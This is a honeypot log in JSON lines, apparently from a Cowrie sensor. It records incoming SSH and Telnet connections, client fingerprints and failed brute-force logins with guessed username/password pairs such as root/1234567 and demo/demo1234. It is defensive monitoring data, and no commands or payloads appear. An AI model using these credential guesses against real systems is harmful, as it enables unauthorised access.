{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.744382Z","src_ip":"94.26.106.229","session":"42585134c477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.933322Z","src_ip":"45.156.87.204","session":"b746b8f24df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:13.007593Z","src_ip":"94.26.106.229","session":"42585134c477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58956,"dst_ip":"10.17.0.5","dst_port":23,"session":"86fb16f1b07d","protocol":"telnet","message":"New connection: 152.42.224.71:58956 (10.17.0.5:23) [session: 86fb16f1b07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:13.146793Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:14.017965Z","src_ip":"45.156.87.204","session":"b746b8f24df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:14.093657Z","src_ip":"94.26.106.229","session":"42585134c477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ea2884b8c7","protocol":"ssh","message":"New connection: 94.26.106.229:55900 (159.203.135.109:22) [session: b9ea2884b8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:14.799219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:14.804294Z","src_ip":"94.26.106.229","session":"b9ea2884b8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:14.887611Z","src_ip":"94.26.106.229","session":"b9ea2884b8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":15318,"dst_ip":"159.203.135.109","dst_port":22,"session":"70505876ddc7","protocol":"ssh","message":"New connection: 94.26.106.229:15318 (159.203.135.109:22) [session: 70505876ddc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.058084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.065092Z","src_ip":"94.26.106.229","session":"70505876ddc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alberto","password":"alberto","message":"login attempt [alberto/alberto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.151353Z","src_ip":"94.26.106.229","session":"b9ea2884b8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.159197Z","src_ip":"94.26.106.229","session":"70505876ddc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2011","message":"login attempt [root/2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.499721Z","src_ip":"94.26.106.229","session":"70505876ddc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59586,"dst_ip":"159.203.135.109","dst_port":22,"session":"243488f7fae9","protocol":"ssh","message":"New connection: 45.156.87.204:59586 (159.203.135.109:22) [session: 243488f7fae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:15.999728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.016422Z","src_ip":"45.156.87.204","session":"243488f7fae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.098675Z","src_ip":"45.156.87.204","session":"243488f7fae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.243308Z","src_ip":"94.26.106.229","session":"b9ea2884b8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.347839Z","src_ip":"45.156.87.204","session":"243488f7fae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.585330Z","src_ip":"94.26.106.229","session":"70505876ddc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"4660121f8d53","protocol":"telnet","message":"New connection: 152.42.224.71:58958 (10.17.0.5:23) [session: 4660121f8d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:16.689894Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":41318,"dst_ip":"159.203.135.109","dst_port":22,"session":"388b82e05b7f","protocol":"ssh","message":"New connection: 124.155.125.131:41318 (159.203.135.109:22) [session: 388b82e05b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.311227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.319506Z","src_ip":"124.155.125.131","session":"388b82e05b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.433137Z","src_ip":"45.156.87.204","session":"243488f7fae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55916,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebf4739aaed8","protocol":"ssh","message":"New connection: 94.26.106.229:55916 (159.203.135.109:22) [session: ebf4739aaed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.490177Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.495117Z","src_ip":"124.155.125.131","session":"388b82e05b7f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.501769Z","src_ip":"94.26.106.229","session":"ebf4739aaed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.574821Z","src_ip":"94.26.106.229","session":"ebf4739aaed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:17.900182Z","src_ip":"94.26.106.229","session":"ebf4739aaed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo1234","message":"login attempt [demo/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:18.230508Z","src_ip":"124.155.125.131","session":"388b82e05b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:18.985799Z","src_ip":"94.26.106.229","session":"ebf4739aaed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.408571Z","src_ip":"124.155.125.131","session":"388b82e05b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59594,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c84968a874a","protocol":"ssh","message":"New connection: 45.156.87.204:59594 (159.203.135.109:22) [session: 5c84968a874a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.483692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.491468Z","src_ip":"45.156.87.204","session":"5c84968a874a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.573430Z","src_ip":"45.156.87.204","session":"5c84968a874a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7af556b1c7","protocol":"ssh","message":"New connection: 94.26.106.229:55918 (159.203.135.109:22) [session: 0e7af556b1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.637645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.642285Z","src_ip":"94.26.106.229","session":"0e7af556b1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.727041Z","src_ip":"94.26.106.229","session":"0e7af556b1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.832224Z","src_ip":"45.156.87.204","session":"5c84968a874a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12345678","message":"login attempt [ali/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:19.983471Z","src_ip":"94.26.106.229","session":"0e7af556b1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:20.916669Z","src_ip":"45.156.87.204","session":"5c84968a874a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:21.107234Z","src_ip":"94.26.106.229","session":"0e7af556b1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":55932,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce3759ff059b","protocol":"ssh","message":"New connection: 94.26.106.229:55932 (159.203.135.109:22) [session: ce3759ff059b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.267937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.276432Z","src_ip":"94.26.106.229","session":"ce3759ff059b","protocol":"ssh"}
